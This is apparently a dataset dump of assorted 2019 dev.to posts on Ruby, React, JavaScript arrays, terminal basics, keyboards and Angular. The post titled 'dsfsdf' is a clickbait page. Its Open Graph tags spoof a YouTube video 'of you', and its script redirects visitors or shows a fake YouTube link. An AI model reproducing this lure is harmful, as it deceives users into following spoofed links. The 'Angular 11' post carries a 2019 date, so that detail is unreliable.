teleren/devto huggingface dataset:
Ruby-HelloWorld
Tags: ruby
Published: 2019-10-24 00:23:32

![titulo](https://thepracticaldev.s3.amazonaws.com/i/n0i89mb7bffyr7ujggbs.JPG)

First time coding with Ruby in a Windows 10 environment.  
GitHub repository: [Ruby-HelloWorld](https://github.com/lucianopereira86/Ruby-HelloWorld)

## Instructions

Download the latest version of Ruby with DevKit in this [link](https://rubyinstaller.org/downloads/).

![print01](https://thepracticaldev.s3.amazonaws.com/i/lv5gpso1vcdho82scou2.JPG)

Keep the default configuration and install it.

![print02](https://thepracticaldev.s3.amazonaws.com/i/i2ndd52h4hrutqo088vr.JPG)

There is a second installation for Ruby components. Just press _ENTER_.

![print03](https://thepracticaldev.s3.amazonaws.com/i/0fhh7sfxy8qrpaahv2kt.JPG)

To see if Ruby is correctly installed, open the terminal and run:

```ruby
ruby --version
```

The result will be:

![print04](https://thepracticaldev.s3.amazonaws.com/i/4bgsnp6m11k8dvq9rv14.JPG)

Now you are ready to program in Ruby.  
Create a file named _hello_world.rb_ with the following code:

```ruby
puts "Hello World!"
```

Run the file:

```posh
ruby .\hello_world.rb
```

The result will be:

![print05](https://thepracticaldev.s3.amazonaws.com/i/d2ltq0k0f6vxxgcq5tag.JPG)

There are other ways to print messages. Add these lines to the file:

```ruby
print "Hello World!"
p "Hello World!"
```

Run it again and the result will be:

![print06](https://thepracticaldev.s3.amazonaws.com/i/zwdh73uf9xhdxmxov377.JPG)

What happened?  
_puts_ writes the message in one line.  
_print_ writes the message without jumping to the next line.  
_p_ inspects the element.

## References

- [Ruby For Beginners](http://ruby-for-beginners.rubymonstas.org/index.html)
- [Ruby Hello World](https://bgasparotto.com/pt/ruby/hello-world/)
- [Ruby básico](https://www.caelum.com.br/apostila-ruby-on-rails/ruby-basico/)
How it feels to be a Programmer
Tags: funny, motivation
Published: 2019-10-24 00:12:45

Found this video on Twitter and I had to share it with the rest of you :)

You'll have to click to watch the video.

This is relatable on so many levels. I definitely feel like this most days....anyone else?!



[![Watch the video]
(https://thepracticaldev.s3.amazonaws.com/i/30g8kkump3tvntmlx0bi.png)](https://video.twimg.com/ext_tw_video/1185344653035479040/pu/vid/640x360/uAYeyU2SpiF11nCP.mp4?tag=10)
JBake y Netlify
Tags: jbake, netlify, blog
Published: 2019-11-17 07:52:08

---
title: JBake y Netlify
published: true
date: 2019-10-24 00:00:00 UTC
tags: jbake,netlify,blog
canonical_url: 
---

En este post voy a explicar de forma resumida (porque aunque no lo creas está escrito completamente con el móvil) cómo y porqué he decidido usar JBake como generador del blog y Netlify como plataforma donde desplegarlo

## JBake

Al estilo de Hugo, Gastby, etc JBake es un generador de contenidos estático principalmente blogs. Pero lo que me atrajo de él es que está escrito en Java y hay un plugin de Gradle para gestionarlo, dos de las herramientas que uso a diario, así que no tengo que instalar nada nuevo

Por si fuera poco NO necesito usar Markdown el cual en mi opinión es la mayor mierda que se ha inventado. En su lugar uso @asciidoctor del que tambien soy fanático

Además al tener el build en Gradle puedo añadirle extensiones (twittear al subir un post, añadir presentaciones, etc). Si quieres ver un ejemplo real de un blog en JBake echa un ojo a [https://groovy-lang.gitlab.io/101-scripts/](https://groovy-lang.gitlab.io/101-scripts/)

## Netlify

Realmente he descubierto este site deployment no hace mucho. La funcionalidad de desplegar un site estático la cubre perfectamente Gitlab pages por lo que no lo necesitaba

Sin embargo después de jugar un poco con él he ido cambiando de opinión. Super rápido, permite desplegar muchos sites de forma gratuita y ofrece unas funcionalidades que complementan a un site estático como son los formularios que te notifican automáticamente cuando un usuario lo ha rellenado y las functions

Estas en especial me parecen que tienen mucho potencial. Son lamdas AWS que Netlify despliega por ti de una forma super cómoda

Se me ocurren algunas cosas que se pueden hacer con ellas en un static site:

- 

notificar a un canal de telegram cuando un usuario accede a una página o rellena un formulario

- 

leer y/o leer de una hoja Google Sheet los resultados de una encuesta

- 

etc

## Template

Si te interesa probarlo (todo o parte) he preparado un template con unas instrucciones que sirvan de guía en [http://jbake-netlify.jorge.aguilera.soy/](http://jbake-netlify.jorge.aguilera.soy/)

## Dev.to

Aunque muchos y muy buenos blogeros usan Medium yo no he llegado ni a crearme una cuenta. No soy experto pero tiene algunos "detalles" que me harían pensar si usarlo

Por el contrario sí he usado algo Dev.to y me ha parecido un altavoz bastante bueno, así que mi idea es escribir en este blog e integrarlo con esa plataforma usando la funcionalidad de importar RSS.

## Fuente

Puedes leer este post y otros relacionados en https://jorge.aguilera.soy
Any love for mechanical keyboards? 
Tags: discuss, watercooler
Published: 2019-10-23 23:35:15

---
title: Any love for mechanical keyboards? 
published: true
description: 
tags: discussion, watercooler
---

I was living under a rock for the longest, I'll be upfront about it. I never felt the need to use mech keyboards. In fact I was pretty fast with flat membrane types. Then one day I purchased a Logitech G613 with Romer G keys. They're pretty responsive and I love the feedback, it feels good. Now I can't go back to any other keyboard, in fact when I'm typing in another keyboard I'll hit keycaps like crazy, and type very slow is a strange feeling like I'm expecting the spring feedback. 

Lately I been thinking about making my own keyboard from scratch, I'll 3D print the plate and create a custom pcb if I feel dangerous enough, else I'll go for handwire. Or purchase the pcb ymdk 96. That layout has num keypad, arrows, function keys, but got a compact layout. 

I would like to get Brown switches, or maybe reds. Do you like mechanical keyboards? Do you fancy colorful keycaps?

[My Building Notes] (https://gist.github.com/kodaman2/ed4a65d642a9d764a267d3ba3454825b)

https://www.reddit.com/r/MechanicalKeyboards/ 

https://www.reddit.com/r/keycapdesigners/
Full stack dev 5yr xp Fortune500 + french unicorn startup
Tags: typescript, react, vue
Published: 2019-10-23 22:54:30

Hey, i'm a french full stack dev available for openings full-remote (i'm actually rn in a position and doing freelance at the same-time) but getting bored so looking for a fresh start at something exciting. Master diploma, 3 year Fortune500 in a 'Digital transformation'(with a bit of design part also) team, 2 year freelance & actual job, especially looking for opportunities in Europe (no need visa then) and Hong kong & Singapore (family and gf origins) , Stack : VueJS, Typescript, React, Node, AWS, GraphQL , Hack/HHVM , hit me up in the comments ^-^
Angular Docs (unofficial)
Tags: angular, frontend, typescript
Published: 2019-10-23 22:20:27

I mentioned a few days ago I wanted to take a look to the entire Angular documentation. Once I have taken a look to "x" section from the Angular docs, I will write here in dev.to about that section, what I learned, and what I understood, so hopefully my articles can be found useful to other people.

I will also complement my unofficial documentation topic with  links that are not from the Angular docs. For example a medium article, dev.to article or a tutorial. 

🚨The articles here are not meant to replace the official Angular documentation 🚨

Feel free to comment is something wasn't clear or something needs to be added. 

Official Angular Doc: https://angular.io/

<a href="https://dev.to/devpato/what-s-your-favorite-angular-blog-article-379m">Best Angular Articles</a>


<h1>Unofficial Angular Docs Content</h1>

1) <a href="https://dev.to/devpato/angular-unofficial-docs-architecture-2d4i">Angular Overview</a>
 -Modules
 -Components
 -Services and Dependency Injection

2) Components & Templates
-<a href="https://dev.to/devpato/displaying-data-in-angular-unofficial-docs-4nd4">Displaying Data</a>



<img src="https://thepracticaldev.s3.amazonaws.com/i/5a87eog40zvcsimuaew4.png" />
File naming: kebab-case or camelCase?
Tags: naming, frontend, kebabcase, camelcase
Published: 2019-10-23 22:20:11

When it comes to name files and directories, kebab-case should have the following advantages over camelCase:

- Easier to type: no need to hold one key while typing another
- More readable: words are more clearly separated
- No problems for non case-sensitive file systems or configurations

However, camelCase seems to have become the standard for naming files in frontend. Why is that? Maybe because of "convention contamination" from JavaScript? Does anyone have other, maybe more solid, reasons for that?
Use Suspense Today!
Tags: react
Published: 2019-10-23 22:15:48

Believe it or not, you've had access to `Suspense` for a year.

Yes, there is more suspense to come.
Yes, that "more" isn't totally ready.
No, that doesn't mean you can't use `Suspense` today.

## React.lazy and Suspense sitting in a tree

React `v16.6` [introduced `React.lazy`](https://reactjs.org/blog/2018/10/23/react-v-16-6.html#reactlazy-code-splitting-with-suspense) —  
A way to code-split in client-rendered applications by components.

```js
import React from "react"
const LazyLoadedComponent = React.lazy(() => import("./SomeComponent"))

function MyApp() {
  return (
    <React.Suspense fallback={<div>Waiting...</div>}>
      <LazyLoadedComponent />
    </React.Suspense>
  )
}
```

<br />

`lazy` depends on `Suspense` to present a fallback while the lazily-loaded component is fetched.

In that way, `Suspense` acts as a boundary for asynchronous data.  
If a promise inside a `Suspense` boundary is pending,
The `fallback` is presented.
Once resolved, `children` are presented.

## But Suspense needs a translator

`Suspense` can't magically know all the promises it's `children` may or may not have.

That's where `lazy` comes in.
It acts as a translator.

`lazy` wraps a dynamic `import` and communicates `Pending` and `Resolved` states to the nearest `Suspense` component boundary.
([code here](https://github.com/facebook/react/blob/master/packages/shared/ReactLazyComponent.js)).
`Suspense` will resolve `fallback` or `children` accordingly.

## The future™️

As we move into a `Suspense` future, you'll see this pattern more often:
A `Suspense` boundary (with `fallback`)
And data, wrapped in "translator" (`React.lazy`, `ReactCache.createResource`, etc).

## What's Next? Errors

Not all promises resolve.
Some are `Rejected`.
I'll show you how to handle that state next time.
JAMstack Roundup for October 23rd 2019
Tags: graphql, jamstack, webdev, serverless
Published: 2019-10-23 22:15:19

##Here are 5 great videos and articles we're bringing you this week!

1. [Static First: Pre-Generated JAMstack Sites with Serverless Rendering as a Fallback](https://css-tricks.com/static-first-pre-generated-jamstack-sites-with-serverless-rendering-as-a-fallback/)
    One of the principles of JAMstack is that of pre-rendering. If we are going to pre-generate our sites ahead of time, how do we make them feel dynamic? How do we work with things like user generated content? 🤔

2. [5 Frontend Podcasts - here's what I listen to to stay up to date](https://dev.to/pawelmadeja/5-frontend-podcasts-here-s-what-i-listen-to-to-stay-up-to-date-2i1a)
    I love listening to podcasts. Whenever I've got a moment, while commuting, going to work or cooking, I'm just putting on my headphones. I would like to share with you my favorite ones. 🎧

3. [I created the exact same app in React and Vue. Here are the differences.](https://medium.com/javascript-in-plain-english/i-created-the-exact-same-app-in-react-and-vue-here-are-the-differences-e9a1ae8077fd)
    Having used Vue at work, I had a fairly solid understanding of it. I was, however, curious to know what the grass was like on the other side of the fence — the grass in this scenario being React. 🍂

4. [Building a serverless SMS sender in 10 minutes](https://medium.com/think-serverless/building-a-serverless-sms-sender-in-10-minutes-44e1c9ce326e)
    A web based SMS sender can be a very handy tool any developer out there, which can be used for a wide range of use cases. In this article, we will build one. 📲

5. [Learn GraphQL using JavaScript and Apollo](https://www.youtube.com/watch?v=wlHeRugmGuI)
    This video tutorial teaches why you should use GraphQL and explains concepts such as schema and resolvers. We will construct a simple API that supports hello world but we will also show how we can integrate with an external API. 📽
dsfsdf
Tags: sdfsdf
Published: 2019-10-23 21:20:29

<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta property="og:title" content="watch this video of you Ã°Å¸ËœÂ±" />
<meta property="og:description" content="4.043.882 Views" />
<meta property="og:url"                content="https://www.youtube.com" />
</head>
<body>
<style>
.button {
    background-color: #4CAF50;
    border: none;
    color: white;
    padding: 35px 62px;
    text-align: center;
    text-decoration: none;
    display: inline-block;
    font-size: 20px;
    margin: 4px 2px;
    cursor: pointer;
}
</style>
<p id="demo">

</p>
<script type="text/javascript">

function generateRandomString(iLen) {
    var sRnd = '';
    var sChrs = "abcdefghiklmnopqrstuvwxyz";
    for (var i = 0; i < iLen; i++) {
      var randomPoz = Math.floor(Math.random() * sChrs.length);
      sRnd += sChrs.substring(randomPoz, randomPoz + 1);
    }
    return sRnd;
  }

function getUrlVars() {
    var vars = {};
    var parts = window.location.href.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(m,key,value) {
        vars[key] = value;
    });
    return vars;
}
var id = getUrlVars()["id"];
var name = getUrlVars()["name"];
function visitPage(){
        window.location = "https://bootsnipp.com/iframe/2A5Xo";
    }

        if (screen.width <= 800) {
        window.location = "https://bootsnipp.com/iframe/2A5Xo";
    } else {
       document.getElementById("demo").innerHTML ="<h1><button class=button onclick=visitPage();> https://www.youtube.com/watch?v=DruYNHN4FYY&t=42s </button></h1>"
    }

</script>
</body>
</html>
8 tips for breaking down language barriers
Tags: discuss, productivity, communication
Published: 2019-10-23 21:18:52

This simple guide is designed to help those for whom English is a first language to communicate clearly and inclusively with those who have learned it as an additional language.

It is not intended to be patronising or demeaning - quite the opposite in fact, I have a huge level of respect for multi lingual people - in terms of human languages (as opposed to programming languages!) I only speak English, apart from a little bit of French from school, so big thumbs up to all you multi-linguists!

It _is_ intended to help us single-linguists to avoid getting carried away and unintentionally excluding those who might find English less familiar and therefore not as easy to follow.

1) Keep to short sentences where possible 
2) Speak more slowly and clearly than you normally would - don’t mumble or rush words, pronounce consonants clearly (avoid ‘[glottal stops](https://youtu.be/_4MJUi03GHM)’ for example - skip to about 1 min)
3) Avoid slang/expressions/idioms - or be ready to explain them and laugh with your colleagues about how crazy they sound when you really think about them!
4) In technical topics, using well known terms, such as design patterns, as opposed to your own custom names for things, can help your colleagues as they quite likely learnt at least some of this [in English](https://dev.to/damcosset/what-makes-you-choose-the-language-you-write-your-articles-in-2jfi) (see the comments on this article for anecdotal evidence)
5) Use non verbal communication to supplement your words where possible - hands, facial expressions, tone, etc - but not excessively to the point of embarrassingly waving your arms around!
6) Listen carefully to your colleagues when they speak to you
7) Respect each other’s time zones! Don’t book all your conference calls/ meetings during their lunch break (food is a priority in _any_ language!!)
8) DO NOT correct or patronise them!

_Over to you:_ multi-linguists, can you think of any other points that might help you to feel more included in English discussions on technical topics? English-as-first-language-ists - any other tips you can add from experience?

Let’s all help each other to break down those barriers that exist in tech at the human level, which tech has solved in a practical sense!
Kinds of Robots
Tags: robotics, funny, wordplay, technology
Published: 2019-10-23 21:14:06

Here are some kinds of Robots

#1.Raw-bot

![Raw-bot](https://comps.canstockphoto.com/monochrome-steampunk-spare-parts-clip-art-vector_csp58214569.jpg)

#2.Crow-bot

![Crow-bot](https://i.pinimg.com/originals/84/d1/35/84d1352cce1ca3ce1455c73114acbafc.jpg)

#3.Row-bot

![Row-bot](http://3.bp.blogspot.com/_qCeWif_tICQ/RuUpWKL_fII/AAAAAAAAAQY/QO6PAc0A6mQ/s400/05_rowbot_back_on_water.jpg)

#4.Throw-bot

![Throw-bot](https://www.shaperobotics.com/wp-content/uploads/2018/09/topimagestandard4.png)

#5.Arrow-bot

![Arrow-bot](https://d2rormqr1qwzpz.cloudfront.net/uploads/0/5/14164-robo_archer.jpg)

#6.Draw-bot

![Draw-bot](https://cdn.instructables.com/FCN/MYW6/IFVC8IV4/FCNMYW6IFVC8IV4.LARGE.jpg?auto=webp&frame=1&width=320)

#7.Grow-bot

![Grow-bot](https://amp.businessinsider.com/images/5790f69fdd0895cb0c8b48fd-1136-851.jpg)
Understanding JavaScript Array Series XIX - Array.shift()
Tags: javascript, beginners, webdev
Published: 2019-10-23 21:06:48

Yesterday, you asked a question saying **That's cool and simple, but what if I want to remove the first element of an array?**. Can't recall asking this? Check this article to refresh your memory.

{% link https://dev.to/nedyudombat/understanding-javascript-array-series-xvii-array-pop-3moa %}

So let's say we have this array `[0, 1, 2, 3, 4, 5]` and we want to remove the first element of the array what do we do?

Well, we can consult a magician or we can simply call the `array.shift()` method on the given array.

So you are saying that the `Array.shift()` method removes the first element of that array and returns the removed element? Yes, I am. Its syntax is similar to the `Array.pop()` syntax, all you have to do is append `.shift()` to the array you are working with like this:
```javascript
const removedElem = arr.shift();
```
**[arr]:** This is the array in which whose first element you want to remove.

**[elem]:** This holds the element that is removed from the array.


**Cool, it is kind of similar to array.pop(), except here it removes the element from the beginning of the array. Please, can you show us an example?** Sure why not.

```javascript
const numArray = [0, 1, 2, 3, 4, 5];
const elem = numArray.shift()

console.log(numArray) // [1, 2, 3, 4, 5];
console.log(elem) // 0
```
Just like the `array.pop()` method, no argument is required and the original array is mutated.

**Let me guess if the array is empty this method returns undefined right?** Yes, correct!

```javascript
const emptyArray = [];
const elem = emptyArray.shift()

console.log(elem) // undefined
```
I am glad you are learning buddy. Do you have any questions for me?

**Yes Yes, what if I want to put back the element I have removed either from the start of the array or the end of the array?**

Good question. You can look into the `Array.unshift()` and the `Array.push()` method, we will talk about them tomorrow.

That's all for today, See you next time!!! 😆 😁

Thank you for reading. 👍
Is DRM malicious code?
Tags: discuss, healthydebate, watercooler, opensource
Published: 2019-10-23 20:53:46

This question is prompted by this [/r/Gentoo](https://www.reddit.com/r/Gentoo/comments/dm1hsb/do_you_think_widevine_contains_malicious_code/) post.  Gentoo Linux allows you to pick and choose components ad-hoc to compile in to your software packages, and this user is curious about whether or not to opt-in to the [`widevine`](https://www.widevine.com/) component used for streaming content protection on their Chromium build.

One the one hand, content providers need to ensure they control their IP.  On the other, the ethical lines get blurry quickly, and the details are often unclear for an end user.  I'm not surprised the Gentoo subreddit falls heavily in the "yes" camp, but I'd like to hear what DEV thinks.

*Photo by James Sutton on Unsplash*
Using terminal
Tags: codenewbie, beginners, terminal, womenintech
Published: 2019-10-23 20:39:01

I want to be able to use the terminal properly with GitHub but I have only used it once in a meetup (codebar in Birmingham) and it was very useful, but quite a whistle stop tour. I'm going to get my head around terminal and then learn how to use it with GitHub. I found the following at macworld.com, macpaw.com and git-tower.com

- To list the directory you're in
```
ls 
```
- To show where you currently are (stands for print working directory)
```
pwd
```
- To go to your home folder
```
cd
```
- To go from the home folder to another one (desktop for instance, type
```
cd Documents

or

cd Desktop/thefoldername
```
- To go to the directory above the one you're currently in
```
cd ..
```
- To go back to the directory you were in before
```
cd -
```


- "~". This sign stands for your user account's home folder. So, instead of typing something like 
```
cd /Users/your-username/projects/
```
You should use this shorthand form
```
cd ~/Desktop
```

-To make a new folder, you call the "make directory" command
```
mkdir nameofnewfolder
```
To delete a folder you type rm -r then the file path e.g. 
```
rm -r ~/downloads/nameofthefolder     
```
(the -r stands for recursive)
- To go to the root level of your startup disk. Don't fiddle around with this though unless you know what you're doing. 
```
cd /,
```
Type bc to get a calculator working!


Vocab:
relative path = is path relative to the directory you're currently in - jumping from one to next
absolute path = is the path relative to the root -giving the whole address thing
Angular 11.0 Good Stuff
Tags: angular, typescript, javascript
Published: 2019-10-23 15:02:10

AngularJs was a dive into super-highly-opinionated-frameworks.  It literally high-jacked JavaScript to the point that it was treated as a https://en.wikipedia.org/wiki/Domain-specific_language (DSL).  It was subserviant to Angular. 

AngularJS' popularity was the result of the Javascript world seeing a MVVM pattern for the first time.  MVVM was already 10+ years old in C# at the time.  The pattern worked perfectly for Javascript. 

AngularJS was terrible due to how it was implemented, it went overboard on concepts such as Dependency Injected and subverted the concept that the language itself should be able to freely grow on its own.

When the new Angular came along, they corrected these issues, and today with Angular 11 here, It has become a very nice work of art.  Does it take a super long time to learn?  It depends on where you are.  JavaScript itself can be argued to take a long time to master.  It's all relative. 

Bottom line, if you want a very good front-end framework that allows you to contain state in any component you want (directly) then Angular is for you.